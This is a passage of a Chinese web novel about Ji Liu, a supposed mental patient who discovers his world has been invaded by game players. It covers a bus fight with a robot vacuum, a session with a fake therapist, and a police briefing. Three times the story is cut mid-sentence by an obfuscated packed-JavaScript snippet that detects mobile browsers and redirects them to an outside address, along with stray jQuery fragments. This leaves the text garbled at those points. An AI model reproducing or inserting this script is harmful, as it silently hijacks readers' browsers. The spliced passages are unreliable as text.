季琉面色平静，他看着面前的扫地机器人悠悠地逛过来，然后从他的旅游鞋上，直接碾了过去。 扫地机器人：“嗡～” 季琉深吸一口气，忍了下去。 算了，就当这扫地机器人在给公交车做清洁。 现在这个时间点公交车上人不多，好几站过去后，车里只剩下后座的那对母女和季琉。 小女孩儿还是很好奇，不顾妈妈的呵斥，她站在椅子边，一手提着小方盒，一边好奇地看着扫地机器人，小声地朝着扫地机器人打招呼： “你好啊，小狗。” 扫地机器人停下了动作，头顶的绿光闪了闪，注视了小女孩儿几秒，竟然没有去怼小女儿，反而慢悠悠地转过了身体，朝着司机那边又扫过去。 顺带再次碾了一遍季琉的脚。 季琉：“……” 他额头上蹦出一根青筋，出于某种报复心理，季琉拉紧了黑色的牵引绳，扫地机器人前行的脚步一下子顿住了。 让季琉没想到的是，扫地机器人并没有就此作罢。 发现无法前进后，扫地机器人在原地停顿了几秒，然后立刻像是打了鸡血一般，“嗡”的一声，加大马力，整个圆乎乎的身体翘起一半，扫轮转速飞快，力道之大，季琉身子都歪了一下。 总之，公交车过道上，形成了一个完美的三角形。 三角形的两点是季琉和扫地机器人，中间一根黑色的牵引绳是斜边。 诡异，又带点搞笑。 季琉怨气冲天，他死死攥住手里的绳子，手指发白，努力维持着最后的体面，心情一下子奇差。 而这时公交车正经过一排行道树，树荫在车厢里一片片闪过，坐在车窗旁的季琉半张脸忽明忽暗，脸色在阴影的衬托下惨白，黑色的瞳孔没有一丝光彩，语气平静到了极点： “我不想动手。” 那种半死不活的疯感，从季琉身上一点点散发出来。 车厢里面的气息变得有些可怕。 扫地机器人不敢动了。 但它还是死犟着，不愿挪动身体，于是整个身体维持着诡异的平衡—— 一个扁圆的圆形，以屁股为支点，翘起了一半。 小女孩儿瞅瞅扫地机器人，又看看季琉，不明白发生了什么。 小女孩儿的妈妈皱了皱眉，她偷偷把手机对准了季琉那边，打开了摄像功能。 因为季琉莫名其妙的一句话，公交车里一下子安静了下来。 车辆还在行进中。 “咣当。” 几分钟后，公交车停在了某一处站点，后门打开，下一秒，一个黄毛突然从开着的后门那里蹦了进来，抱怨道： “搞什么，老子等了这么久。” 这一句骂声打破了公交车里面奇怪的凝滞，所有人都不由自主地看了一眼黄毛。 黄毛是个年轻男的，五官平平，穿着一件黄色的冲锋衣，搭着一双绿色的鞋，这样穿着已经足够显眼，但最显眼的还是他那一头近乎荧黄色的头发。 谁家年轻人会染这么刺眼的黄色？ 总之，还是叫他黄毛吧。 在黄毛说话后，扫地机器人另一半身体，终于落地。 司机不急不徐地关上前后车门，说道： “小伙子，前面来刷卡。” 然而黄毛并没有听司机的，他像是个猴子一样，在车厢后门那里这里摸摸，那里摸摸，一路嘀嘀咕咕的： “细节牛逼啊……日xx啊……建模可以啊……” 黄毛说着奇奇怪怪的话语，一边自然而然地把视线转向了离他最近的人—— 季琉。 季琉与黄毛对视了几秒，微微皱起了眉。 他注意到，黄毛在看到他的脸后，视线往他的头顶飘去，然后像是看到了什么一样，露出一个困惑的表情。 果不其然，黄毛走到季琉面前，拽拽地问道： “喂，你是xx吗？” 什么？ 季琉茫然了。 他没听懂黄毛在说什么。 黄毛在说这句话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238735|166208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，到后面两个字时，他的声音突然变得又模糊又小，突如其来的尖锐噪音盖住了两个字的发音，季琉一时以为自己出现了幻听。 见季琉不回答，黄毛又耐着性子问了一遍。 季琉缓缓抬头，看向黄毛。 在他的眼里，黄毛头顶空无一物。 于是，在思考了几秒后，季琉回答道： “我不懂你在说什么。” 闻言，黄毛露出一个荒谬又惊讶的表情，他迅速后退了一步，像是在远离什么奇怪的病原体。 司机扭头朝后看去，再次说道： “小伙子，刷卡。” 黄毛置若罔闻，他还是嘀嘀咕咕的： “不是？靠，隐藏款？” 说完，黄毛上前推了一把季琉，挑衅到： “你血条呢？” 季琉：？ 他手里的牵引绳已经松了，扫地机器人不知道什么时候跑过来了，没有持续犟着，而是蹲在季琉脚边看戏。 见季琉头顶没有出现什么东西，黄毛以为是自己的伤害不够，他啧了一声，忽然凭空变出一把银色的枪，枪口直接对准了季琉的额头。 在季琉惊讶的视线中，黄毛自以为很帅地露出一个痞笑： “我看看你血条多长。” 感受到额头上冰冷的枪口，季琉愣了一下，这个社会上还有人能带枪，这的确是出乎意料。 而在黄毛拿出枪的那一刻，公交车上的几人都慌乱起来，司机连忙从驾驶位出来，呵斥道： “别乱来，有监控的！” 后方的母女两人都忍不住发出尖叫，她们想逃走，但因为黄毛正好堵在了后门，她们完全没办法避开，女人直能抱住女儿，仓惶地蜷缩在座椅后面。 比起慌乱的其余人，季琉心里渐渐涌起一股诡异的兴奋感。 这个兴奋感不是他的。 虽然实际上，季琉的心脏也在砰砰直跳。 他的手微微颤抖。 “你是疯子吗？” 季琉忽然笑了，他问道。 黄毛挑了一下眉： “关你什么事？” “我是个疯子。” 季琉似乎完全忽视掉了他额头上的枪口，自言自语道， “他们都说我是疯子，你跟他们好像不一样，我可以告诉你一个秘密。” 对于这番言论，黄毛有些惊讶，他立刻兴致勃勃地问道： “真的？” 不等季琉说话，黄毛立刻用另一只空着的手摸屁股袋： “等等我把手机拿出来再说，他们绝对没想到，我第一次就能碰到一个独家xx，哈哈哈，谁说我没有天赋……” 因为姿势问题，黄毛不自觉地扭转身体找手机，而就那么一瞬间—— “咬他。” 扫地机器人被抡了起来，目标是黄毛的脸。 “砰”的一声巨响，一点鲜血鲜血溅到了季琉的衣角。 黄毛被扫地机器人砸倒在地，他流着鼻血，手里的枪滑到了一边，一脸懵，还没反应过来自己被击倒了。 季琉从座位上缓缓地站了起来。 在黄毛惊恐的眼神中，季琉拿起扫地机器人，对他露出一个微笑，皮笑肉不笑地朝黄毛解释道： “这是我的狗，它有点爱咬人。” 黄毛愣了一秒，脸上的疼痛反应过来后，他朝着季琉破口大骂： “我操……” “砰” 又是一声闷响，白色的扫地机器人身上溅了几滴血。 季琉收回自己拿着扫地机器人的手，淡淡地说道： “我家狗脾气不好，它喜欢咬骂人的狗。” 说完，季琉幽幽地扭头，看向不远处地面上： “你在吃什么？” 那团史莱姆在地上。 它不知道什么时候从扫地机器人里面溜了出来，正在尝试吞噬掉在地上的枪。 当季琉问它的时候，史莱姆吞噬的动作顿了顿，来不及消化，它一口气把整把枪吞了进去。 史莱姆：“嗝。” 季琉眯了眯眼睛： “我问你，你在吃什么？” 5. 第 5 章 “吐出来。” 季琉一把抓住了想要逃走的史莱姆，使劲一捏—— “噗叽” 很好。 史莱姆和他想象中的手感一样，软乎乎的，又有些韧性，在他手指缝隙间被挤压了好多出来。 两颗豆豆眼飘了上来，史莱姆用两只小手扒拉着季琉的手指，它瞪着季琉，一看就知道非常生气。 它吞掉的枪就像是进入了一个异空间，从外表看，小小的半透明身体里面什么都没有。 奇怪。 季琉又使劲捏了捏史莱姆，从触感上来说，这个柔软的史莱姆身体里面，确实没有找到任何痕迹。 【您的……上……】 耳边突然传来了什么声音，可声音并不清晰，季琉侧耳去听时，又什么都没有了。 那把枪还在，但是拿不出来了。 不知怎么的，季琉心底滑过这个答案。 等等，这是他犯病了，还是真的有答案？ 想到这里，季琉呆滞了一下，瞳孔微微放大。 而趁着季琉愣神的那一刻，手中柔软的史莱姆瞬间变硬，软乎乎的史莱姆一下子变成一块冷冰冰的玻璃球。 与此同时，整个公交车里的人都不敢动，气氛凝滞。 如果说季琉之前举动是在见义勇为的话，那的确是的； 可问题是，季琉袭击的动作太过突然和猛烈，零帧起手，再加上他本人之前说的话就颇为神经质…… 谁知道季琉是不是第二个疯子？ 车上唯二的两个正常成年人对视一眼，都从对方的眼里看到了恐慌和疑惑。 “哥哥，你的小狗还好吗？” 小女孩儿的声音怯怯的。 清脆的女童声音瞬间打破了魔障，把季琉从自己的思绪里拉了回来，他的手指因为手中物体重量变化抽搐，一时之间没有抓握好—— 手里的玻璃球掉落下来。 意料中的玻璃碎裂声音没有发生。 那块玻璃球在接触地面的前一秒，迅速融化成一团软绵绵的胶体，然后飞快地流入了旁边扫地机器人里面。 季琉的脸色不太好看，他静静地看了一眼地板。 扫地机器人没动。 白色的外壳上有几滴血，不多，微微泛黄，没有别的损伤。 盯了扫地机器人几秒后，季琉复又寻着声音看过去，对上小女孩儿的眼睛，他不由自主地放软了声音，回答了小女孩儿的问题： “它没事。” 说完，季琉看了眼小女孩儿手里的小方盒，又解释道： “哥哥的小狗自己回去了。” 小女儿懵懵懂懂的，她攥着妈妈的衣角，点点头，小声说道： “那哥哥为什么生气啊……哥哥不要生气了，好怕……” 而小女儿的妈妈，在季琉看向小女孩儿后，她越发紧张起来。 她自以为动作很轻，缓慢地把女孩儿往车后面推。 季琉听到了小女孩儿的抱怨，他想要扯起嘴角做出一个微笑，但僵硬的面部让他放弃了这个想法。 “我没生气。” 季琉垂下眼眸，说。 随后，季琉弯下腰，把扫地机器人装进自己的背包，同时解下了捆在扫地机器人身上的牵引绳。 忽视掉身前身后窸窸窣窣的声音，季琉用牵引绳几下就把昏迷的黄毛捆到了公交车上的栏杆上。 等季琉完工后，本来就一脸凄惨的黄毛更惨了。 他脸上五颜六色的，双手更是被捆得像个过年时的卤猪蹄，怕是连一根手指都动不了。 而季琉绑完了黄毛后，抬起头，分别看了眼女人和司机。 正准备做点什么两人仿佛被按下了静音键，一下子顿住了，一脸尴尬地回望。 季琉拍了拍手，理了一下衣服，淡定地说： “要报警就报。对了，我时间来不及了，先走了，要找我就去光明站那边的光明诊所找我。” 说完，也不等车上人反应，季琉自顾自地下了车，在站台找到一台共享单车后，他掏出手机，扫开码，慢悠悠地骑车离开了。 而在公交车上的司机和女人看着季琉远去，又对视一眼。 扫码……共享单车…… 司机：“小伙子不像是个坏人。” 女人张张嘴，没说话，但她依旧坚定地按下了报警电话。 小女孩儿扯了扯妈妈的衣角，掷地有声地说道： “大哥哥真的好酷啊，我也想养只扫地机器人！” 女人：“……这个真不行。” 说完，她向手机屏幕，等待着电话接通。 …… 光明心理咨询诊所位于光明广场的一楼一角，刚成立不久。 诊所里的心理医生不多，两个心理医师常驻，其余的心理医师则是在某种制度下轮班。 李睿刚入职不久，他站在白色的房门前，翻阅了好几次面前的文件，上面密密麻麻的字看得他头疼。 谁也没想到有天都玩游戏了，还得来上班。 更何况，他根本就是赶鸭子上架，现实里都不是什么心理医生，更不懂什么心理知识，充其量也就看看营销号上的科普文章，专业素养是一点没有，现在好了，进游戏就无痛当什么心理医师。 想着说不定只是个游戏流程，李睿深吸了一口气，顶了顶装饰用的金丝眼镜，然后推开了房门： “你好，我是您预约的李医生。” 房间内的装修很温馨。 白色的布艺沙发上坐着一个青年。 青年正在翻看一本杂志，在李睿说话后，他扭过头，对着李睿笑了一下： “你好，我是季琉。” 很漂亮的npc。 这是李睿的第一印象。 但是对上npc的双眼后，李睿不由得愣了一下。 很深的瞳色。 黑色的瞳孔仿若是一潭深渊，最深处却又时不时闪现出点微弱的灵光，让人不禁去触摸。 精神病的npc…… 真的建模有那么细致吗？ 李睿有些疑惑，他轻咳了一声，不禁也认真起来。 “周医生有事来不了，我姓李，我来主持这次的治疗。” 一边说着这些，李睿走到一边的沙发上，拿出前台给的资料，低下头，装作认真地看着上面的字。 “不好意思，麻烦你了。” 青年的声音很好听。 但听下去，声音几乎毫无情感波动，似乎也不是那么真情实感。 “呃……” 虽说一直低头看着资料，可李睿眼前总闪现出青年那双黑色的瞳孔。 他有些好奇，也有些恐惧。 莫名的恐惧。 明明只是个npc，甚至头顶都没什么奇怪的词条，可李睿总是有种直觉—— 害怕。 不要对视。 快逃。 心乱如麻，李睿努力辨别着准备资料上的信息，胡言乱语： “我看了周医生给的资料，资料上说，你的病已经一年没犯了，情况很稳定。” “是的。” 青年顿了一下，问， “但是，在这个世界里，李医生，你认为复发正常吗？” “我认为大概……正常吧，现在人生活压力大。” 李睿扫了几眼周医生的评价。 下方的笔迹有些潦草，洋洋洒洒很多，奇怪的是，周医生并没有断言季琉是什么病症，【被害妄想症】下方画了两道重重的横线，但是又在上面画了几个问号。 “正常？” 青年重复了一遍，他像是把这个字咀嚼了一遍后，声音变得发凉， “你觉得，这个世界是真是假？” 李睿捏紧了资料，纸张皱了起来。 思考了几秒，李睿谨慎地回答道： “我觉得世界是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238736|166208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的。” “如果有一天，你看向镜子，在镜子里，脖子以上变成了一个狐狸头，那是真的还是假的？” “我觉得那当然是假的，幻觉。” 李睿斩钉截铁说道，他用拇指摸了一下纸张，上面的治疗建议是【引导】。 “是因为如果你去摸自己的头，手下触感不会变，还是一个鼻子两只眼睛，没有长长的狐狸嘴，是吗？” 青年问。 李睿点了一下头： “是的。” “那这么说，你怎么确定，我不是你的幻觉？我们都没有接触过。” 李睿愣了一下。 下一秒，一只手突然按在了李睿面前的资料上。 白皙的手指碰触到了李睿的手。 冰凉，凉到了李睿的心底。 青年的声音犹如鬼魂一般在李睿耳边响起： “李医生，你觉得，我是你的幻觉吗？” 这种情况下不害怕是不可能的。 李睿下意识抬头，最先看到的一双深色的黑色瞳孔，无悲无喜，倒映着他的身影。 在那一刻，李睿都吓蒙了，他根本就没有感觉到有人靠近。 没有走路的声音，没有呼吸的声音，他甚至都没有感受到对方走过来，身边温度的变化。 他是鬼吗？ 李睿毛骨悚然，差点直接暴起时，面前的青年轻轻瞥了他一眼，看上去纤细的手掌按在他肩上的力道很大，不着痕迹地把他给按了回去。 “李医生，你是第一天上班吗？” 青年似笑非笑地问道。 李睿听到自己的心怦怦跳，他这才回忆起这个游戏世界并没有灵异设定，于是他咬牙切齿地说道： “我……不对……我为什么要回答你的问题，你到底想干什么？” 如果不是规则不允许，他早就拿出道具揍面前的npc了。 “没什么，我只是好奇，你往我头上看的那一眼……不，我只是向你寻求帮助，确定我今早看到的是不是幻觉。” 青年的话说了一半，但不知为什么说了一半又改口了。 在李睿的怒视下，青年笑了一下，他缓缓坐到李睿旁边，叹了一口气，说： “或许是久病成医。你没发现吗？从一开始，都是我在引导话题。” “……” “还有，我一直都在问你的感受，而你总是用【我】回答了问题。” “……” “你很容易被操控。” 李睿的脸色相当不好看。 “好了，说说我的幻觉吧。” 青年垂下眼眸，他过于白皙的脸庞在房间昏黄的灯光下散发出朦胧的柔光，配上他紧蹙的眉头，莫名多了一份茫然的脆弱感， “我家的扫地机器人，它想杀我。” 李睿沉默了。 李睿茫然了。 李睿觉得自己果真是个笑话。 “我把它带来了，但是前台小姐姐不准我带进来，所以我把它放在前台那里了。” 青年抬起眼眸，无辜回望， “我现在感应到，它来找我了。” 话音刚落，不远处白色的房门“砰”的一声，被什么东西撞开了。 李睿被吓了一跳，他下意识顺着声音看去，却什么都没有看见。 顿了两秒后，李睿把视线下移，然后就看见一个白色的扫地机器人，气势汹汹地…… 爬了进来。 房间里是地毯，对于扫地机器人来说，有点难办。 在房间内两人诡异的注视下，那个白色外壳有点发黄的圆形机器人，在地毯上走得坑坑洼洼的。 但它十分努力且执着地爬到了两人脚边。 然后，“砰”的一声，它撞了一下李睿的皮鞋。 很疼。 李睿面无表情地想，没想到，有一天，他竟然会在游戏里，被一只扫地机器人，撞掉了一百点血。 6. 第 6 章 “疼不疼？” 季琉真挚地问李医生。 李医生的眼角抽搐了一下，不知道该不该回答这个问题。 在进入游戏前，每个玩家都会把痛感往下调，但最多也就调个50%。 如今这种情况，说“疼”显得自己弱势，说“不疼”又太假。 怎么觉得，自己被眼前的npc耍了呢？ “其实扫地机器人不是重点，重点是里面的一团东西。” 没等到李医生的回答，季琉也无所谓，他靠在沙发背上，叹了一口气，语重心长地说， “那个是它本体，我弄不出来。” 闻言，李医生愣了一下，他看向季琉，表情严肃起来： “还有呢？” “还有就是……李医生，我路上遇到了一个奇怪的人，在我看来——” 季琉忽然猛地起身，靠近了李医生。 因为忌惮季琉，在季琉靠近时，李医生不自觉仰头，做出一个防御的姿势，恨不得立刻在他和季琉之间划一条长河阻隔。 虽说这个游戏里npc不会无故攻击玩家，可李医生直觉季琉并不属于普通npc。 季琉盯着李医生惨白的面颊，他又坐了回去，拉长了声音，说道： “他跟你是同一类人。” 有了今早黄毛和李医生的对比，季琉发现了一个问题。 一个带着扫地机器人进门诊的人，不是疯子就是傻子。 当季琉在门诊安检时，门诊内所有等待的人在看见扫地机器人后，头顶都出现了一个问号。 当然，可能因为本来来门诊的就没几个正常人，护士和保安好奇心很快转移，头顶的问号很快就消失了。 而进入咨询室，见到这位陌生的李医生后，季琉饶有兴致地发现，这位李医生不仅是个菜鸟，头顶还不会出现问号。 是不好奇？ 还是本来就不会出现符号？ 这个李医生，和其他人格格不入。 季琉收回看向李医生的眼神，然后扭头朝门外看去。 刚才两人对话的时候，门口跑过一只猫，这立刻吸引了扫地机器人的注意，它乐颠颠地跑去追猫了。 走廊里还能听到一声响亮的“汪”。 还是电子音版本的。 或许是受到心底来自史莱姆的“愉悦”情绪感染，季琉的心情也好了很多，他轻笑了一声，语气带上了点慈祥： “它真的是个活泼的孩子，不是吗？” 李医生用手指顶了顶金丝眼镜，尽力维持住自己的五官还在原位，用来维持自己仅剩的尊严。 想了想，李医生掏出手机，一边拨打了一个号码，一边说： “我想，我知道你为什么会这样了。等等，让我先报个警。” 季琉：？ 一个小时后，季琉抱着自己的背包，坐在xx服务中心的大厅的椅子上。 说实话，他有点心情复杂。 只是扫地机器人撞了一下医生，调戏了一下门诊里的猫，没必要报警吧？ 大厅里即使到了中午还是人满为患，穿着白色制服的工作人员在窗口不停敲着电脑，忙得连口水都喝不上； 大厅里还有很多等待的人，有的奇装异服，化妆夸张，看上去更像是个COSER。 角落里还有几个垂着头沮丧的人，手上拴着镣铐，蹲又蹲不下去，站又站不起来。 “哥们，你也是今天上线的？” 没过多久，一个男人双手插兜，坐在了季琉旁边。 季琉循声看去，男人的声音还算清亮，应该年纪不大，脸上的一双眼睛透露出清澈的愚蠢，也能证明这一点。 可与声音完全不符的，是男人有一嘴超乎寻常茂密的络腮胡，胡子淹没了五官，整个人给人第一印象就是脖子以上都是胡子。 季琉欲言又止，止言又欲。 有点辣眼睛。 因为不知道如何回答男人的问题，季琉勉强对着络腮胡男人笑了笑，算是敷衍。 而季琉这种反应给了络腮胡子不少脑补空间，他哼了一声，颇为感慨： “我可上线一个月了。说起来，这xx可真奇怪，捏脸也不准捏，起名字还得实名制，但说真的，建模真的牛逼啊，都跟真的一样。” 说完，络腮胡上下打量了一番季琉，视线落在了季琉怀里的包，问： “哥们，你什么职业啊？我看你这身衣服不像是xx赠送的。” 听不清，还是听不清。 络腮胡说的话，里面某些词就像是被故意消音了一样，季琉还是怎么都听不清。 思考了一阵后，季琉小心翼翼地模糊回答道： “个体经商户。” 结果说完后，不知道络腮胡又脑补了什么，他眯了眯唯一露出的两个眼睛，故作成熟地点评道： “还行，比一开场是无业游民强。” 季琉沉默。 眼见着话题越来越尴尬，络腮胡子轻咳一声，不打算继续寒暄了，于是直奔主题： “哥们，是不是在等叫号？里面乱七八糟的要遵守的东西可复杂了，要老哥我提点提点吗？” 季琉：？ 在季琉疑惑的眼神中，络腮胡子伸出大拇指和食指，抬起手，搓了搓。 季琉：“……” 络腮胡子：“哎，没钱也行，总捡了点东西吧，给点【捡拾物】也行。” 捡拾物？ 垃圾也行吗？ 季琉表示大为震撼。 他想了想，从包里掏出几颗心理诊所顺过来的薄荷糖，塞给了络腮胡子。 见季琉递过来薄荷糖，络腮胡子啧来一声，嫌弃东西太小了。 结果下一秒，络腮胡子拿游戏面板一扫，一声卧槽： 【物品名称：心疼薄荷糖。 薄荷糖吃完凉嗖嗖的。 全身上下凉嗖嗖的。 头顶都是凉嗖嗖的。 屁股也是凉嗖嗖的。 明白了，原来我是个烤串。 功效：随机回复理智值并伴随加血50点。】 “大佬，这道具哪里收集的？” 络腮胡子两眼放光。 理智值这可是个新词条啊，一看就知道是新副本。 季琉诚实回答： “光明站的心理诊所。” 得到消息后，络腮胡子两眼放光，他笑呵呵地拍了一个手册给季琉： “早说嘛，这是哥整理的手册，你看看。” 季琉看了眼手册，封面上几个大字—— 《■■手册》 忽略掉封面上的两个黑色方块，季琉淡定的翻开了第一页。 “亲爱的■■，恭喜你进入■■世界，如果想要获得完美体验，请遵守以下几条规则： 1.文明对待所有人。不要在公共场所使用武器，不要随意攻击他人，不要让■■■注意到你们的特殊。如果违反条例，请尽快报警自首。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238737|166208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 2.你们不会想遇到清道夫的。 3.热爱生命，生命只有两次。■■死亡两次后，会被永久销号。 4.请尽快登记。■■联盟的存在是为了服务■■，请第一次上线成功后尽快登记并时刻与联盟保持联系。 5.请填好登记表。 登记表上请写自己的真实名字和真实地址，方便■■联盟进行及时救援。 请认真填写紧急联系人，方便后续■■联盟送骨灰的时候能找到接收人。 6.请在安全区域内活动。请在联盟发布的地图内活动，以便得到及时救援。 如果需要去新区域，请提前打好申请。 7.请登记道具和宠物。■■你会在后续得到道具和宠物，请尽快到联盟登记，领取驯养资料。 8.请分辨好那是否是宠物。如果不能分辨，请立刻放弃。你不会想知道寄生物是如何伪装寄生的。 9.请认真对待这个世界。 10.遇到危险时，可以向这个世界的■■■寻求帮助。再次强调一遍，请各位■■要礼貌对待这个世界的■■■。 11.捡点东西吧。捡拾物会有特殊词条，运气好能碰到伪装的道具。 12.指示说明： ■■■头顶有感叹号或者问号，说明有任务可以接取。 可交互■■■和■■头顶都会有血条，特殊boss会出现词条。 ■■■头顶血条是红色的，白色的是防御条。 ■■头顶血条有边框，有道具可以隐藏血条。 注意，请不要随意攻击有血条的■■■，因为在平静非攻击状态下，■■■的词条是隐藏的。” “亲爱的■■，看到这里，说明你对这个世界有了基本的认知，开启您的试炼吧，希望您能找到适合您的生存方法。” “■■联盟。” 满纸的黑色方块看得季琉眉心直跳，他试着摸了摸上面的黑色方块，指尖还是平整的纸面，说明并没有什么特殊的。 “谢谢。” 季琉想了想，还是把手册放进了背包里，对络腮胡子道谢。 “没什么没什么。” 络腮胡子摆摆手，两只眼睛放出精光， “怎么样，还值吧？你要是再给我点好的捡拾物，或者直接货币，我给你个升级版手册咋样？那里面可是多少xx的心血，比这个好多了——” “死胡子！” 络腮胡子话音未落，旁边不知什么时候来了一个戴着红色眼镜的女人。 红色眼镜女人一身黑色西服，一只手抱着文件，怒气冲冲： “你又在骗新人！” 听到身旁的女声，络腮胡子立刻收回手，触电一般跳起来。 转身面对着红色眼镜女人，络腮胡子的气势一下子弱了下来，他讪讪地挠了挠头，装作特别无辜： “我才没有，这不是和萌新交流情感吗？” “哼，拿免费的指导手册骗萌新的钱，这也算交流？” 女人冷笑一声，看向了一旁坐着的季琉，表情有点不对。 她抬了抬红色眼镜，又眯着眼睛，仔细地打量季琉。 看了三秒后，女人发出一声惨叫： “你一个土著为什么会在这里啊啊啊！！！” 玩家中心出现了一个npc。 整个服务中心安静了。 整个服务中心沸腾了。 整个服务中心的论坛炸了。 7. 第 7 章 “我走错了。” 季琉说。 现在，季琉正在一间小小的房间里，他正坐在一张朱红色的老式办公桌边，另一边是两个警察。 这里是服务中心的一楼办公室。 准确说来，是调解室。 娃娃脸警察纠结了半天，他问： “一楼服务中心大厅那么几个大字，那么明显，一般人都是直接走进一楼大厅，你为什么去了二楼？” 服务中心有三层楼，一楼是给土著npc服务的，二楼是给玩家服务的。 为了防止人走错，二楼入口设计相当隐蔽，只有玩家能看见并进入。 季琉很淡定，回答道： “我认为人应该有远见，所以多走点路是应该的。” 娃娃脸：“……” 另一个警察是个标准的寸头，看样貌也是凶神恶煞级别的，明显是和娃娃脸打配合的。 见娃娃脸警察被噎住了，寸头把桌子一拍： “你是故意的！” 他把手里文件往季琉面前一丢： “刚才调度中心跟我们反应，你还在公交车上打了人！又在光明诊所威胁医生！你现在竟然还敢胡言乱语！” 季琉轻轻地扫了一眼文件，再次抬头时，嘴角微微上翘，他歪着头，黑色的眼瞳闪烁着奇妙的光： “那你也应该知道，我是个疯子。” “？” “你想搞清楚一个疯子是怎么想的吗？” 两个警察对视一眼。 有一个漫画已经说明了，当一个正常人搞清楚了疯子怎么想的，她也离变疯子不远了。 “其实……你不是疯子。” 娃娃脸纠结得脸都皱在了一起。 他犹豫了好几秒，最后一咬牙，还是说了出来： “周医生是我们的人。你没有疯，只是……有点不适应而已。” 接下来的时间里，娃娃脸讲了一个故事。 简单来讲，就是这个世界发生了异变。 两个世界正在融合。 外面不小心掉进来的异界人，被称之为第四天灾。 大多数土著会因为世界意识的影响，而忽略掉不正常的地方。 而有一小部分人，会因为各种原因，发现这些格格不入的地方。 “有的人能够通过我们的引导，重新变为普通人。而另外一些人，就像你——” 娃娃脸意味深长地说道， “是引导不了的。” “所以说，我觉醒了，是吗？” 季琉笑了一下说。 两位警察点点头，用悲悯的眼神看着他。 不少觉醒者在得知这个情况后，往往会发疯一段时间。 不过他们也理解，因为你一直以为自己不正常，结果有天发现，不正常的是这个世界，那么，很多人都会觉得自己的坚持是个笑话。 按照以往的经验，两位警察的手已经放在了自己的后腰上，时刻准备着拿出电击器。 曾经有发生过觉醒者一气之下攻击警察的事，而两位警察直觉季琉并不真的是什么好脾气的人。 请恕他们以貌取人，毕竟，能把自己弄成男鬼样子的人，看上去最近真的不太好。 但出乎意料的是，季琉并没有表现出攻击人的倾向。 季琉黑色的瞳孔转了一下，他伸出手，在警察们极度紧绷的注视下，捂住了自己的脸： “也就是说，都不是幻觉，我没有毛病。” 同时，他的双肩轻轻颤动着。 这种动作能让警察看见人的双手，多少让警察们的警惕心稍微放下了点。 娃娃脸以为季琉在哭泣，心稍微软了点： “我理解你的心情，那什么，你冷静一点，我知道你情绪激动但是你不要激动，整个事情其实相当复杂，我们也在努力把世界变回正常。” “呵呵呵呵……” 回应娃娃脸的，是季琉神经质的笑声。 娃娃脸一下子又被噎住了，他不知道该如何继续下去。 寸头立刻虎着一张脸，低吼道： “你别笑了，正常点！” 然而并没有用。 娃娃脸已经半侧着身体朝向门边，准备去喊人了。 “你是说，我才是正常的，是你们不正常！这个世界不正常！” 在两个警察到达精神崩溃边缘前，季琉猛然放下手，他的嘴角还在上翘，黑色的瞳孔里迸射出奇异的色彩， “难怪，难怪我变成了疯子以后，我感觉精神好多了！” 娃娃脸顿了顿，他纠结道： “那个，其实，你不是……” “不不不，我现在感觉特别好，就保持这样吧。” 季琉微笑着双手放在了桌面上，他看上去又恢复了正常，说， “不用担心，我不会针对你们任何人，我现在精神特别好，情绪特别稳定。” 两个警察：“……” “我们，我们来说说你的扫地机器人里面的东西吧。” 娃娃脸轻咳一声，试图岔开话题， “那个东西，简单来说，是每个觉醒者的伴生。” 简单来说，觉醒者会有个跟随宠物。 这个宠物和觉醒者心神相连。 但这其中并没有规律，就好像是上天随机给的。 总之，娃娃脸说了一堆。 季琉看似认真在听，他其实早已魂游天外。 他的想象力一直很丰富，有的时候过于丰富了，所以，长大后，在得知自己是个精神病后，季琉反而长舒了一口气。 他看得出来，警察一直试图在用高深的名词来解释整个事情和世界观，但是季琉发现，如果……整个世界是个游戏，那就一切好解释了。 手册里面出现的血条、boss，那些奇怪的人嘴里的“建模”、“世界”，这些词都能解释了。 那些奇怪的，所谓的异界人、第四天灾，是玩家。 他所在的世界是个游戏。 他是个觉醒npc。 每个觉醒npc应该有个伴随宠物。 每个有伴随宠物的npc能变成游戏大boss。 那么一切都说得通了。 至于世界到底是不是真的，季琉不在乎。 他只在乎一件事。 那个史莱姆—— “也就是说，那个史莱姆，是属于我的，唯一属于我的，真正属于我的，真实的属于我的，宠物？” 季琉脸上浮上一层红晕，他用一只手捧着自己的脸颊，散发出一种他自己都没注意到的狂热。 滔滔不绝的娃娃脸顿了一下。 娃娃脸：“呃，事实上，我们和异界人在合作，试图管理异界人和本世界的觉醒者，你应该去一楼的服务大厅登记……” “我知道了，我会养好他的。” 季琉说。 调解室又诡异的静默了下去。 “不是，你听我说完。” 娃娃脸看上去被季琉三番五次的打断 